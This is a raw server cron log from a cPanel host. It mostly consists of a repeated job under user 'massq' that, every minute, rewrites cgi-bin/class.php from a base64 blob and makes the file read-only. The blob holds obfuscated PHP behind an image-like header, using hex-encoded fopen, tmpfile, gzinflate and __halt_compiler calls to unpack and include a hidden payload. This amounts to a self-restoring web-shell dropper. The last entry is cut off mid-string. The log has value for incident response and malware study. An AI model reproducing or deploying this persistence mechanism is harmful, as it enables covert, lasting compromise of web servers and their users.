Apr  7 13:09:01 server CROND[9356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:10:01 server CROND[9510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:10:01 server CROND[9512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:10:01 server CROND[9511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:10:01 server CROND[9515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 13:11:01 server CROND[9633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:12:01 server CROND[9739]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 13:12:01 server CROND[9740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:13:01 server CROND[9795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:14:01 server CROND[9843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:15:01 server CROND[10012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:15:01 server CROND[10014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:15:01 server CROND[10015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:16:01 server CROND[10129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:17:01 server CROND[10193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:18:01 server CROND[10262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:19:01 server CROND[10318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:20:01 server CROND[10377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:20:01 server CROND[10379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 13:20:01 server CROND[10382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:20:01 server CROND[10387]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 13:20:01 server CROND[10389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:21:01 server CROND[10755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:22:01 server CROND[10816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uor